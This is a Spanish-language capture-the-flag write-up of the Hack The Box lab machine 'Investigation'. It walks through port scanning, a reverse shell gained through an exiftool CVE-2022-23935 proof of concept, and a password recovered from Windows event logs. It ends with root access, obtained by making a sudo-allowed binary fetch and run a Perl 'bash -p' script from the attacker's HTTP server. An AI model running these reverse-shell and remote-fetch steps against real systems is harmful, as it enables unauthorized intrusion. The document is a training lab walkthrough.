Hack The Box: Investigation Writeup | Medium

Table of Contents

Hack The Box: Investigation Writeup

Welcome to my detailed writeup of the medium difficulty machine “Investigation” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.228.203 --ulimit 5000 -g
210.129.228.203 -> [22,80]
 1$ nmap -p22,80 -sCV 10.129.228.203 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 23:07 CEST
 3Nmap scan report for 10.129.228.203
 4Host is up (0.037s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
 8| ssh-hostkey: 
 9|   3072 2f:1e:63:06:aa:6e:bb:cc:0d:19:d4:15:26:74:c6:d9 (RSA)
10|   256 27:45:20:ad:d2:fa:a7:3a:83:73:d9:7c:79:ab:f3:0b (ECDSA)
11|_  256 42:45:eb:91:6e:21:02:06:17:b2:74:8b:c5:83:4f:e0 (ED25519)
1280/tcp open  http    Apache httpd 2.4.41
13|_http-server-header: Apache/2.4.41 (Ubuntu)
14|_http-title: Did not follow redirect to http://eforenzics.htb/
15Service Info: Host: eforenzics.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
16
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 8.65 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.228.203 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 23:08 CEST
 3Nmap scan report for 10.129.228.203
 4Host is up (0.038s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 722381/udp closed unknown
 823965/udp closed unknown
 924910/udp closed unknown
1026289/udp closed unknown
1128645/udp closed unknown
1231412/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

Solo vemos el puerto 80/TCP como posible vector de ataque, en el anterior escaneo hemos detectado el dominio eforenzics.htb así que lo añadimos al /etc/hosts

HTTP Enumeration

1$ whatweb http://eforenzics.htb
2http://eforenzics.htb [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.228.203], JQuery[3.4.1], Meta-Author[eForenzics], Script, Title[eForenzics - Premier Digital Forensics], UncommonHeaders[upgrade]

Por ahora parece que no existe ningún CMS por detrás.

El sitio web se ve así. Write-up Image

Podemos ver algunas valoraciones, nos vamos a apuntar estos usuarios por si acaso. Write-up Image

En el recurso service.html podemos ver un formulario de subida de archivo Write-up Image

Se apunta al recurso upload.php Write-up Image

Nos pide que subamos una imagen jpg

Upload an image file and we will provide a detailed forensic analysis. At this time we can only process jpg images.

Si subimos una imagen nos redirecciona a http://eforenzics.htb/analysed_images/testjpg.txt Write-up Image

Vemos que se está utilizando exiftool Write-up Image

Foothold -> CVE-2022-23935

Podemos intentar inyectar un comando modificando el filename pero esto no funciona. Write-up Image

Buscando exploits encontramos algunos que nos llama la atención. Write-up Image

Recordemos que la versión era la 12.37

Podemos utilizar este PoC

Este PoC automáticamente se pone en escucha por el puerto 443 pero podemos generar el payload y luego ponernos nosotros en escucha con pwncat-cs

1$ sudo python3 CVE-2022-23935.py 10.10.14.85 443

Subimos el archivo que genera. Write-up Image

¡Y ganamos acceso! Write-up Image

Ahora nos salimos de esa shell, nos ponemos en escucha con pwncat-cs por el puerto 443 y subimos otra vez el archivo.

Write-up Image

User Pivoting

1(remote) www-data@investigation:/var/www/html$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3smorton:x:1000:1000:eForenzics:/home/smorton:/bin/bash

Vemos que solo existe el usuario smorton a parte de root

Encontramos un archivo de este usuario un tanto extraño

1(remote) www-data@investigation:/home$ find / -type f -user smorton 2>/dev/null
2/usr/local/investigation/Windows Event Logs for Analysis.msg
1(remote) www-data@investigation:/usr/local/investigation$ file Windows\ Event\ Logs\ for\ Analysis.msg 
2Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message

Un archivo con la extensión .msg es un archivo de mensaje utilizado principalmente por Microsoft Outlook y otras aplicaciones de correo electrónico que son compatibles con el formato de Microsoft Outlook.

Es decir, viendo su peso (1,3M) contiene mensajes de correo, quizás alguno sea interesante.

Este es un archivo en formato MS-Outlook pero podemos convertirlo en un archivo .eml.

1sudo apt-get install libemail-outlook-message-perl libemail-sender-perl

Convertimos el archivo…

1$ msgconvert msg.msg 
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/investigation/content]
3└──╼ [★]$ ls
4msg.eml  msg.msg  test.jpg

Podemos analizar el archivo eml con encryptomatic y vemos un mensaje sobre que se debe analizar unos logs. Write-up Image

El archivo zip contiene un archivo security.evtx Write-up Image

Este archivo .evtx es un archivo de registro de eventos de Windows para almacenar eventos de registro del sistema y aplicaciones.

Podemos leer este archivo con https://github.com/omerbenamram/evtx

Nos descargamos la herramienta de aquí

Y guiándonos con este artículo https://medium.com/@salim.y.salimov/a-hassle-free-evtx-to-json-converter-not-only-for-windows-but-linux-and-mac-os-too-82adc4d9d158

Ahora podemos convertir el archivo evtx a un formato json

1$ ./evtx -o json -f security.json security.evtx

Y ya podemos analizarlo tranquilamente…

 1$ cat security.json | head -n 10
 2Record 1
 3{
 4  "Event": {
 5    "#attributes": {
 6      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
 7    },
 8    "System": {
 9      "Provider": {
10        "#attributes": {
11          "Name": "Microsoft-Windows-Eventlog",
12...

Consultando la biblia del hacking (HackTricks)

Encontramos el formato de este log y encontramos lo que significa los identificadores de los IDs Write-up Image

Realmente los logs mas importantes relacionados con la autenticación de los usuarios son los que he marcado.

Si revisamos el evento 4624 no encontramos nada pero si revisamos el evento 4625

  1$ cat security.json | grep ": 4625" -C 20
  2      "PackageName": "MICROSOFT_AUTHENTICATION_PACKAGE_V1_0",
  3      "TargetUserName": "lmonroe",
  4      "Workstation": "EFORENZICS-DI",
  5      "Status": "0xc000006a"
  6    }
  7  }
  8}
  9Record 7985
 10{
 11  "Event": {
 12    "#attributes": {
 13      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
 14    },
 15    "System": {
 16      "Provider": {
 17        "#attributes": {
 18          "Name": "Microsoft-Windows-Security-Auditing",
 19          "Guid": "54849625-5478-4994-A5BA-3E3B0328C30D"
 20        }
 21      },
 22      "EventID": 4625,
 23      "Version": 0,
 24      "Level": 0,
 25      "Task": 12544,
 26      "Opcode": 0,
 27      "Keywords": "0x8010000000000000",
 28      "TimeCreated": {
 29        "#attributes": {
 30          "SystemTime": "2022-08-01T16:34:51.543729Z"
 31        }
 32      },
 33      "EventRecordID": 11371170,
 34      "Correlation": {
 35        "#attributes": {
 36          "ActivityID": "6A946884-A5BC-0001-D968-946ABCA5D801"
 37        }
 38      },
 39      "Execution": {
 40        "#attributes": {
 41          "ProcessID": 628,
 42          "ThreadID": 5128
 43--
 44      "PackageName": "MICROSOFT_AUTHENTICATION_PACKAGE_V1_0",
 45      "TargetUserName": "hmraley",
 46      "Workstation": "EFORENZICS-DI",
 47      "Status": "0xc0000064"
 48    }
 49  }
 50}
 51Record 8418
 52{
 53  "Event": {
 54    "#attributes": {
 55      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
 56    },
 57    "System": {
 58      "Provider": {
 59        "#attributes": {
 60          "Name": "Microsoft-Windows-Security-Auditing",
 61          "Guid": "54849625-5478-4994-A5BA-3E3B0328C30D"
 62        }
 63      },
 64      "EventID": 4625,
 65      "Version": 0,
 66      "Level": 0,
 67      "Task": 12544,
 68      "Opcode": 0,
 69      "Keywords": "0x8010000000000000",
 70      "TimeCreated": {
 71        "#attributes": {
 72          "SystemTime": "2022-08-01T16:50:07.137703Z"
 73        }
 74      },
 75      "EventRecordID": 11371603,
 76      "Correlation": {
 77        "#attributes": {
 78          "ActivityID": "6A946884-A5BC-0001-D968-946ABCA5D801"
 79        }
 80      },
 81      "Execution": {
 82        "#attributes": {
 83          "ProcessID": 628,
 84          "ThreadID": 604
 85--
 86      "PackageName": "MICROSOFT_AUTHENTICATION_PACKAGE_V1_0",
 87      "TargetUserName": "Def@ultf0r3nz!csPa$$",
 88      "Workstation": "EFORENZICS-DI",
 89      "Status": "0xc0000064"
 90    }
 91  }
 92}
 93Record 10146
 94{
 95  "Event": {
 96    "#attributes": {
 97      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
 98    },
 99    "System": {
100      "Provider": {
101        "#attributes": {
102          "Name": "Microsoft-Windows-Security-Auditing",
103          "Guid": "54849625-5478-4994-A5BA-3E3B0328C30D"
104        }
105      },
106      "EventID": 4625,
107      "Version": 0,
108      "Level": 0,
109      "Task": 12544,
110      "Opcode": 0,
111      "Keywords": "0x8010000000000000",
112      "TimeCreated": {
113        "#attributes": {
114          "SystemTime": "2022-08-01T19:15:15.374769Z"
115        }
116      },
117      "EventRecordID": 11373331,
118      "Correlation": {
119        "#attributes": {
120          "ActivityID": "6A946884-A5BC-0001-D968-946ABCA5D801"
121        }
122      },
123      "Execution": {
124        "#attributes": {
125          "ProcessID": 628,
126          "ThreadID": 6800

Y detectamos algo extraño, alguien ha intentado iniciar sesión como el usuario Def@ultf0r3nz!csPa$$

"TargetUserName": "Def@ultf0r3nz!csPa$$"

Tiene toda la pinta de contraseña, y probando como el usuario smorton

 1$ ssh smorton@10.129.228.203
 2smorton@10.129.228.203's password: 
 3Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-137-generic x86_64)
 4
 5 * Documentation:  https://help.ubuntu.com
 6 * Management:     https://landscape.canonical.com
 7 * Support:        https://ubuntu.com/advantage
 8
 9  System information as of Tue 13 Aug 2024 08:15:41 PM UTC
10
11  System load:  0.0               Processes:             231
12  Usage of /:   59.4% of 3.97GB   Users logged in:       0
13  Memory usage: 13%               IPv4 address for eth0: 10.129.228.203
14  Swap usage:   0%
15
16
170 updates can be applied immediately.
18
19
20The list of available updates is more than a week old.
21To check for new updates run: sudo apt update
22
23smorton@investigation:~$ id
24uid=1000(smorton) gid=1000(smorton) groups=1000(smorton)

Y podemos leer la flag de usuario

1smorton@investigation:~$ cat user.txt 
2023b407268bf8bc00...

Privilege Escalation

Como smorton detectamos que podemos ejecutar un binario como el usuario root

1smorton@investigation:~$ sudo -l
2Matching Defaults entries for smorton on investigation:
3    env_reset, mail_badpass,
4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
5
6User smorton may run the following commands on investigation:
7    (root) NOPASSWD: /usr/bin/binary

Si lo ejecutamos..

1smorton@investigation:/usr/bin$ sudo binary
2Exiting... 

Reversing with GHidra

Decompilando el binario con ghidra

 1undefined8 main(int param_1,long param_2)
 2
 3{
 4  __uid_t _Var1;
 5  int iVar2;
 6  FILE *__stream;
 7  undefined8 uVar3;
 8  char *__s;
 9  char *__s_00;
10  
11  if (param_1 != 3) {
12    puts("Exiting... ");
13                    /* WARNING: Subroutine does not return */
14    exit(0);
15  }
16  _Var1 = getuid();
17  if (_Var1 != 0) {
18    puts("Exiting... ");
19                    /* WARNING: Subroutine does not return */
20    exit(0);
21  }
22  iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
23  if (iVar2 != 0) {
24    puts("Exiting... ");
25                    /* WARNING: Subroutine does not return */
26    exit(0);
27  }
28  puts("Running... ");
29  __stream = fopen(*(char **)(param_2 + 0x10),"wb");
30  uVar3 = curl_easy_init();
31  curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8));
32  curl_easy_setopt(uVar3,0x2711,__stream);
33  curl_easy_setopt(uVar3,0x2d,1);
34  iVar2 = curl_easy_perform(uVar3);
35  if (iVar2 == 0) {
36    iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
37    __s = (char *)malloc((long)iVar2 + 1);
38    snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10));
39    iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
40    __s_00 = (char *)malloc((long)iVar2 + 1);
41    snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
42    fclose(__stream);
43    curl_easy_cleanup(uVar3);
44    setuid(0);
45    system(__s_00);
46    system("rm -f ./lDnxUysaQn");
47    return 0;
48  }
49  puts("Exiting... ");
50                    /* WARNING: Subroutine does not return */
51  exit(0);
52}
1if (param_1 != 3) { puts("Exiting... "); exit(0); }

El programa verifica si el primer argumento (param_1) es igual a 3. Si no es 3, imprime “Exiting…” y termina la ejecución.

1_Var1 = getuid(); if (_Var1 != 0) { puts("Exiting... "); exit(0); }

Obtiene el identificador de usuario (UID) actual usando getuid(). Si el UID no es 0 (que normalmente representa el usuario root), imprime “Exiting…” y termina la ejecución.

1iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn"); if (iVar2 != 0) { puts("Exiting... "); exit(0); }

Compara un valor obtenido de param_2 con la cadena "lDnxUysaQn". Si no coinciden, imprime “Exiting…” y termina la ejecución.

Sabiendo esto…

1smorton@investigation:/usr/bin$ sudo binary 3 lDnxUysaQn
2Running... 
3^C

Luego realiza una descarga de un binario que realiza una petición de descarga al primer parámetro.

1__stream = fopen(*(char **)(param_2 + 0x10),"wb"); uVar3 = curl_easy_init(); curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8)); curl_easy_setopt(uVar3,0x2711,__stream); curl_easy_setopt(uVar3,0x2d,1); iVar2 = curl_easy_perform(uVar3);
1if (iVar2 == 0) { iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10)); __s = (char *)malloc((long)iVar2 + 1); snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10)); iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s); __s_00 = (char *)malloc((long)iVar2 + 1); snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s); fclose(__stream); curl_easy_cleanup(uVar3); setuid(0); system(__s_00); system("rm -f ./lDnxUysaQn"); return 0; }

Si la descarga es exitosa (iVar2 == 0):

Vemos que efectivamente, descarga un binario con el nombre lDnxUysaQn aunque esta no es exitosa. Write-up Image

-rw-r--r-- 1 root root 0 Aug 13 20:25 lDnxUysaQn este archivo es de root y en principio debería de ser un script en perl que luego se ejecutará.

Exploiting our knowledge

Vamos a ver si como hemos visto en el código si estableciendo el primer parámetro mi IP me llega una petición de descarga.

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
1$ sudo binary http://10.10.14.85:8081/pointedsec lDnxUysaQn
2Running... 
3Exiting...

¡Perfecto!

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.203 - - [14/Aug/2024 00:31:55] code 404, message File not found
410.129.228.203 - - [14/Aug/2024 00:31:55] "GET /pointedsec HTTP/1.1" 404 -

Ahora simplemente serviremos un script en perl que se ejecutará en el sistema.

privesc.

1#!/usr/bin/perl
2use strict;
3use warnings;
4
5exec("bash -p");

Lo servimos por el puerto 8081 y al ejecutar el binario estableciendo este archivo como segundo parámetro..

1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.203 - - [14/Aug/2024 00:32:56] "GET /privesc.pl HTTP/1.1" 200 -

Nos convertimos en root

1smorton@investigation:/tmp$ sudo binary http://10.10.14.85:8081/privesc.pl lDnxUysaQn
2Running... 
3root@investigation:/tmp# id
4uid=0(root) gid=0(root) groups=0(root

Y ya podríamos leer la flag de root

1root@investigation:/tmp# cat /root/root.txt
213310bc79b0a86a...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Investigation   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #Enumerating HTTP   #CVE-2022-23935   #Information Leakage   #Analyzing EML File   #Analyzing EVTX File   #Reversing Engineering   #Reverse ELF Binary   #Abusing Custom Binary   #Perl Scripting